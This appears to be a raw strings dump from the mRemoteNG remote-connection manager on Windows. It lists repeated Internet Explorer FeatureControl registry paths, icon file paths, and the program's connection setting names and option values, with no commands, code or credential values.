HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_LEGACY_COMPRESSION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_LEGACY_COMPRESSION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_LEGACY_COMPRESSION HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_LEGACY_COMPRESSION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_LEGACY_COMPRESSION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_LEGACY_COMPRESSION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_LEGACY_COMPRESSION HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_LEGACY_COMPRESSION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_OBJECT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_OBJECT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_OBJECT HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_OBJECT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_OBJECT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_OBJECT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_OBJECT HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_OBJECT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_NAVIGATION_SOUNDS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_NAVIGATION_SOUNDS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_NAVIGATION_SOUNDS HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_NAVIGATION_SOUNDS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_NAVIGATION_SOUNDS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_NAVIGATION_SOUNDS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_NAVIGATION_SOUNDS HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_NAVIGATION_SOUNDS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SPELLCHECKING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SPELLCHECKING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SPELLCHECKING HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SPELLCHECKING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SPELLCHECKING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SPELLCHECKING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SPELLCHECKING HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SPELLCHECKING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_STATUS_BAR_THROTTLING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_STATUS_BAR_THROTTLING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_STATUS_BAR_THROTTLING HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_STATUS_BAR_THROTTLING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_STATUS_BAR_THROTTLING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_STATUS_BAR_THROTTLING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_STATUS_BAR_THROTTLING HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_STATUS_BAR_THROTTLING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_TABBED_BROWSING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_TABBED_BROWSING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_TABBED_BROWSING HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_TABBED_BROWSING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_TABBED_BROWSING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_TABBED_BROWSING Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_TABBED_BROWSING HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_TABBED_BROWSING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_VALIDATE_NAVIGATE_URL Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_VALIDATE_NAVIGATE_URL Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_VALIDATE_NAVIGATE_URL HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_VALIDATE_NAVIGATE_URL Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_VALIDATE_NAVIGATE_URL Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_VALIDATE_NAVIGATE_URL Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_VALIDATE_NAVIGATE_URL HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_VALIDATE_NAVIGATE_URL Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_MOVESIZECHILD Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_MOVESIZECHILD Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_MOVESIZECHILD HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_MOVESIZECHILD Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_MOVESIZECHILD Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_MOVESIZECHILD Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_MOVESIZECHILD HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_MOVESIZECHILD Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDON_MANAGEMENT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDON_MANAGEMENT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDON_MANAGEMENT HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDON_MANAGEMENT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDON_MANAGEMENT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDON_MANAGEMENT Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDON_MANAGEMENT HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDON_MANAGEMENT Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBSOCKET Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBSOCKET Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBSOCKET HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBSOCKET Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBSOCKET Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBSOCKET Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBSOCKET HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBSOCKET Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WINDOW_RESTRICTIONS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WINDOW_RESTRICTIONS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WINDOW_RESTRICTIONS HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WINDOW_RESTRICTIONS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WINDOW_RESTRICTIONS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WINDOW_RESTRICTIONS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WINDOW_RESTRICTIONS HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WINDOW_RESTRICTIONS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XMLHTTP Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XMLHTTP Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XMLHTTP HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XMLHTTP Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XMLHTTP Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XMLHTTP Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XMLHTTP HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XMLHTTP *.ico .ico C:\Program Files (x86)\mRemoteNG\Icons\ C:\Program Files (x86)\mRemoteNG\Icons\ C:\Program Files (x86)\mRemoteNG\Icons\*.ico C:\Program Files (x86)\mRemoteNG\Icons\*.ico C:\Program Files (x86)\mRemoteNG\Icons *.ico *.ico C:\Program Files (x86)\mRemoteNG\Icons\*.ico C:\Program Files (x86)\mRemoteNG\Icons\* C:\Program Files (x86)\mRemoteNG\Icons\*.ico C:\Program Files (x86)\mRemoteNG\Icons\. Anti Virus.ico C:\Program Files (x86)\mRemoteNG\Icons\Anti Virus.ico Backup.ico C:\Program Files (x86)\mRemoteNG\Icons\Backup.ico Build Server.ico C:\Program Files (x86)\mRemoteNG\Icons\Build Server.ico Database.ico C:\Program Files (x86)\mRemoteNG\Icons\Database.ico Domain Controller.ico C:\Program Files (x86)\mRemoteNG\Icons\Domain Controller.ico ESX.ico C:\Program Files (x86)\mRemoteNG\Icons\ESX.ico Fax.ico C:\Program Files (x86)\mRemoteNG\Icons\Fax.ico File Server.ico C:\Program Files (x86)\mRemoteNG\Icons\File Server.ico Finance.ico C:\Program Files (x86)\mRemoteNG\Icons\Finance.ico Firewall.ico C:\Program Files (x86)\mRemoteNG\Icons\Firewall.ico Linux.ico C:\Program Files (x86)\mRemoteNG\Icons\Linux.ico Log.ico C:\Program Files (x86)\mRemoteNG\Icons\Log.ico Mail Server.ico C:\Program Files (x86)\mRemoteNG\Icons\Mail Server.ico mRemote.ico C:\Program Files (x86)\mRemoteNG\Icons\mRemote.ico mRemoteNG.ico C:\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico PuTTY.ico C:\Program Files (x86)\mRemoteNG\Icons\PuTTY.ico Remote Desktop.ico C:\Program Files (x86)\mRemoteNG\Icons\Remote Desktop.ico Router.ico C:\Program Files (x86)\mRemoteNG\Icons\Router.ico SharePoint.ico C:\Program Files (x86)\mRemoteNG\Icons\SharePoint.ico SSH.ico C:\Program Files (x86)\mRemoteNG\Icons\SSH.ico Switch.ico C:\Program Files (x86)\mRemoteNG\Icons\Switch.ico Tel.ico C:\Program Files (x86)\mRemoteNG\Icons\Tel.ico Telnet.ico C:\Program Files (x86)\mRemoteNG\Icons\Telnet.ico Terminal Server.ico C:\Program Files (x86)\mRemoteNG\Icons\Terminal Server.ico Test Server.ico C:\Program Files (x86)\mRemoteNG\Icons\Test Server.ico Virtual Machine.ico C:\Program Files (x86)\mRemoteNG\Icons\Virtual Machine.ico Web Server.ico C:\Program Files (x86)\mRemoteNG\Icons\Web Server.ico WiFi.ico C:\Program Files (x86)\mRemoteNG\Icons\WiFi.ico Windows.ico C:\Program Files (x86)\mRemoteNG\Icons\Windows.ico Workstation.ico C:\Program Files (x86)\mRemoteNG\Icons\Workstation.ico C:\Program Files (x86)\mRemoteNG\Icons\Anti Virus.ico Anti Virus.ico Anti Virus C:\Program Files (x86)\mRemoteNG\Icons\Backup.ico Backup.ico Backup C:\Program Files (x86)\mRemoteNG\Icons\Build Server.ico Build Server.ico Build Server C:\Program Files (x86)\mRemoteNG\Icons\Database.ico Database.ico Database C:\Program Files (x86)\mRemoteNG\Icons\Domain Controller.ico Domain Controller.ico Domain Controller C:\Program Files (x86)\mRemoteNG\Icons\ESX.ico ESX.ico C:\Program Files (x86)\mRemoteNG\Icons\Fax.ico Fax.ico C:\Program Files (x86)\mRemoteNG\Icons\File Server.ico File Server.ico File Server C:\Program Files (x86)\mRemoteNG\Icons\Finance.ico Finance.ico Finance C:\Program Files (x86)\mRemoteNG\Icons\Firewall.ico Firewall.ico Firewall C:\Program Files (x86)\mRemoteNG\Icons\Linux.ico Linux.ico Linux C:\Program Files (x86)\mRemoteNG\Icons\Log.ico Log.ico C:\Program Files (x86)\mRemoteNG\Icons\Mail Server.ico Mail Server.ico Mail Server C:\Program Files (x86)\mRemoteNG\Icons\mRemote.ico mRemote.ico mRemote C:\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico mRemoteNG.ico mRemoteNG C:\Program Files (x86)\mRemoteNG\Icons\PuTTY.ico PuTTY.ico PuTTY C:\Program Files (x86)\mRemoteNG\Icons\Remote Desktop.ico Remote Desktop.ico Remote Desktop C:\Program Files (x86)\mRemoteNG\Icons\Router.ico Router.ico Router C:\Program Files (x86)\mRemoteNG\Icons\SharePoint.ico SharePoint.ico SharePoint C:\Program Files (x86)\mRemoteNG\Icons\SSH.ico SSH.ico C:\Program Files (x86)\mRemoteNG\Icons\Switch.ico Switch.ico Switch C:\Program Files (x86)\mRemoteNG\Icons\Tel.ico Tel.ico C:\Program Files (x86)\mRemoteNG\Icons\Telnet.ico Telnet.ico Telnet C:\Program Files (x86)\mRemoteNG\Icons\Terminal Server.ico Terminal Server.ico Terminal Server C:\Program Files (x86)\mRemoteNG\Icons\Test Server.ico Test Server.ico Test Server C:\Program Files (x86)\mRemoteNG\Icons\Virtual Machine.ico Virtual Machine.ico Virtual Machine C:\Program Files (x86)\mRemoteNG\Icons\Web Server.ico Web Server.ico Web Server C:\Program Files (x86)\mRemoteNG\Icons\WiFi.ico WiFi.ico WiFi C:\Program Files (x86)\mRemoteNG\Icons\Windows.ico Windows.ico Windows C:\Program Files (x86)\mRemoteNG\Icons\Workstation.ico Workstation.ico Workstation 84fdfa3d-699d-45a6-828a-c3dd563a1ca8 SSH1 SSH2 Telnet Rlogin HTTP HTTPS IntApp EncrBasic Encr40Bit Encr56Bit Encr128BitLogonOnly Encr128Bit NoAuth AuthRequired WarnOnFailedAuth Gecko Never Always Detect SmartCard FitToWindow Fullscreen SmartSize Res800x600 Res1024x768 Res1152x864 Res1280x800 Res1280x1024 Res1366x768 Res1440x900 Res1600x900 Res1600x1200 Res1680x1050 Res1920x1080 Res1920x1200 Res2048x1536 Res2560x1440 Res2560x1600 Res2560x2048 Res3840x2160 Colors256 Colors15Bit Colors16Bit Colors24Bit Colors32Bit BringToThisComputer LeaveAtRemoteComputer DoNotPlay Dynamic Medium High Comp0 Comp1 Comp2 Comp3 Comp4 Comp5 Comp6 Comp7 Comp8 Comp9 CompNone EncRaw EncRRE EncCorre EncHextile EncZlib EncTight EncZLibHex EncZRLE AuthVNC AuthWin ProxyNone ProxyHTTP ProxySocks5 ProxyUltra ColNormal Col8Bit SmartSNo SmartSFree SmartSAspect EverythingInherited Description Icon Panel Username Password Domain Protocol ExtApp Port PuttySession ICAEncryptionStrength RDPAuthenticationLevel RDPMinutesToIdleTimeout RDPAlertIdleTimeout LoadBalanceInfo RenderingEngine UseConsoleSession UseCredSsp RDGatewayUsageMethod RDGatewayHostname RDGatewayUseConnectionCredentials RDGatewayUsername RDGatewayPassword RDGatewayDomain Resolution AutomaticResize Colors CacheBitmaps DisplayWallpaper DisplayThemes EnableFontSmoothing EnableDesktopComposition RedirectKeys RedirectDiskDrives RedirectPrinters RedirectPorts RedirectSmartCards RedirectSound SoundQuality PreExtApp PostExtApp MacAddress UserField VNCCompression VNCEncoding VNCAuthMode VNCProxyType VNCProxyIP VNCProxyPort VNCProxyUsername VNCProxyPassword VNCColors VNCSmartSizeMode VNCViewOnly Parent Error loading default connectioninfo property OpenConnections IsContainer IsDefault PositionID ConstantID TreeNode IsQuickConnect PleaseConnect Inheritance OpenConnections IsContainer IsDefault Parent IsQuickConnect PleaseConnect Name Description Icon Panel Hostname Username Password Domain Protocol ExtApp Port PuttySession ICAEncryptionStrength UseConsoleSession RDPAuthenticationLevel RDPMinutesToIdleTimeout RDPAlertIdleTimeout LoadBalanceInfo RenderingEngine UseCredSsp RDGatewayUsageMethod RDGatewayHostname RDGatewayUseConnectionCredentials RDGatewayUsername RDGatewayPassword RDGatewayDomain Resolution AutomaticResize Colors CacheBitmaps DisplayWallpaper DisplayThemes EnableFontSmoothing EnableDesktopComposition RedirectKeys RedirectDiskDrives RedirectPrinters RedirectPorts RedirectSmartCards RedirectSound SoundQuality ConstantID PreExtApp PostExtApp MacAddress UserField VNCCompression VNCEncoding VNCAuthMode VNCProxyType VNCProxyIP VNCProxyPort VNCProxyUsername VNCProxyPassword VNCColors VNCSmartSizeMode VNCViewOnly ConDefault ConDefaultDescription ConDefaultIcon ConDefaultPanel ConDefaultPanel ConDefaultUsername ConDefaultUsername Username ConDefaultPassword ConDefaultPassword Password ConDefaultDomain ConDefaultDomain Domain ConDefaultProtocol ConDefaultExtApp ConDefaultPuttySession ConDefaultICAEncryptionStrength ConDefaultUseConsoleSession ConDefaultRDPAuthenticationLevel ConDefaultRDPMinutesToIdleTimeout ConDefaultRDPAlertIdleTimeout ConDefaultLoadBalanceInfo ConDefaultRenderingEngine ConDefaultUseCredSsp ConDefaultRDGatewayUsageMethod ConDefaultRDGatewayHostname ConDefaultRDGatewayUseConnectionCredentials ConDefaultRDGatewayUsername ConDefaultRDGatewayPassword ConDefaultRDGatewayDomain ConDefaultResolution ConDefaultAutomaticResize ConDefaultColors ConDefaultCacheBitmaps ConDefaultDisplayWallpaper ConDefaultDisplayThemes ConDefaultEnableFontSmoothing ConDefaultEnableDesktopComposition ConDefaultRedirectKeys ConDefaultRedirectDiskDrives ConDefaultRedirectPrinters ConDefaultRedirectPorts ConDefaultRedirectSmartCards ConDefaultRedirectSound ConDefaultSoundQuality ConDefaultPreExtApp ConDefaultPostExtApp ConDefaultMacAddress ConDefaultUserField ConDefaultVNCCompression ConDefaultVNCEncoding ConDefaultVNCAuthMode ConDefaultVNCProxyType ConDefaultVNCProxyIP ConDefaultVNCProxyPort ConDefaultVNCProxyUsername ConDefaultVNCProxyPassword ConDefaultVNCColors ConDefaultVNCSmartSizeMode ConDefaultVNCViewOnly DefaultConInherit-LoadFrom: Could not load InhDefault InhDefaultDescription InhDefaultDescription InhDefaultIcon InhDefaultIcon InhDefaultPanel InhDefaultPanel InhDefaultUsername InhDefaultUsername InhDefaultPassword InhDefaultPassword InhDefaultDomain InhDefaultDomain InhDefaultProtocol InhDefaultProtocol InhDefaultExtApp InhDefaultExtApp InhDefaultPort InhDefaultPort InhDefaultPuttySession InhDefaultPuttySession InhDefaultICAEncryptionStrength InhDefaultICAEncryptionStrength InhDefaultRDPAuthenticationLevel InhDefaultRDPAuthenticationLevel InhDefaultRDPMinutesToIdleTimeout InhDefaultRDPMinutesToIdleTimeout InhDefaultRDPAlertIdleTimeout InhDefaultRDPAlertIdleTimeout InhDefaultLoadBalanceInfo InhDefaultLoadBalanceInfo InhDefaultRenderingEngine InhDefaultRenderingEngine InhDefaultUseConsoleSession InhDefaultUseConsoleSession InhDefaultUseCredSsp InhDefaultUseCredSsp InhDefaultRDGatewayUsageMethod InhDefaultRDGatewayUsageMethod InhDefaultRDGatewayHostname InhDefaultRDGatewayHostname InhDefaultRDGatewayUseConnectionCredentials InhDefaultRDGatewayUseConnectionCredentials InhDefaultRDGatewayUsername InhDefaultRDGatewayUsername InhDefaultRDGatewayPassword InhDefaultRDGatewayPassword InhDefaultRDGatewayDomain InhDefaultRDGatewayDomain InhDefaultResolution InhDefaultResolution InhDefaultAutomaticResize InhDefaultAutomaticResize InhDefaultColors InhDefaultColors InhDefaultCacheBitmaps InhDefaultCacheBitmaps InhDefaultDisplayWallpaper InhDefaultDisplayWallpaper InhDefaultDisplayThemes InhDefaultDisplayThemes InhDefaultEnableFontSmoothing InhDefaultEnableFontSmoothing InhDefaultEnableDesktopComposition InhDefaultEnableDesktopComposition InhDefaultRedirectKeys InhDefaultRedirectKeys InhDefaultRedirectDiskDrives InhDefaultRedirectDiskDrives InhDefaultRedirectPrinters InhDefaultRedirectPrinters InhDefaultRedirectPorts InhDefaultRedirectPorts InhDefaultRedirectSmartCards InhDefaultRedirectSmartCards InhDefaultRedirectSound InhDefaultRedirectSound InhDefaultSoundQuality InhDefaultSoundQuality InhDefaultPreExtApp InhDefaultPreExtApp InhDefaultPostExtApp InhDefaultPostExtApp InhDefaultMacAddress InhDefaultMacAddress InhDefaultUserField InhDefaultUserField InhDefaultVNCCompression InhDefaultVNCCompression InhDefaultVNCEncoding InhDefaultVNCEncoding InhDefaultVNCAuthMode InhDefaultVNCAuthMode InhDefaultVNCProxyType InhDefaultVNCProxyType InhDefaultVNCProxyIP InhDefaultVNCProxyIP InhDefaultVNCProxyPort InhDefaultVNCProxyPort InhDefaultVNCProxyUsername InhDefaultVNCProxyUsername InhDefaultVNCProxyPassword InhDefaultVNCProxyPassword InhDefaultVNCColors InhDefaultVNCColors InhDefaultVNCSmartSizeMode InhDefaultVNCSmartSizeMode InhDefaultVNCViewOnly InhDefaultVNCViewOnly Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Loading settings failed DoUpgrade Override Culture: OverrideUICulture 000C060B-0000-0000-C000-000000000046 {000C0601-0000-0000-C000-000000000046} Switch.System.Windows.Forms.EnableLegacyChineseIMEIndicator #32770 mRemoteNG mRemoteNG \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor luna.msstyles NormalColor HomeStead Metallic aero.msstyles royale.msstyles Royale NormalColor NormalColor 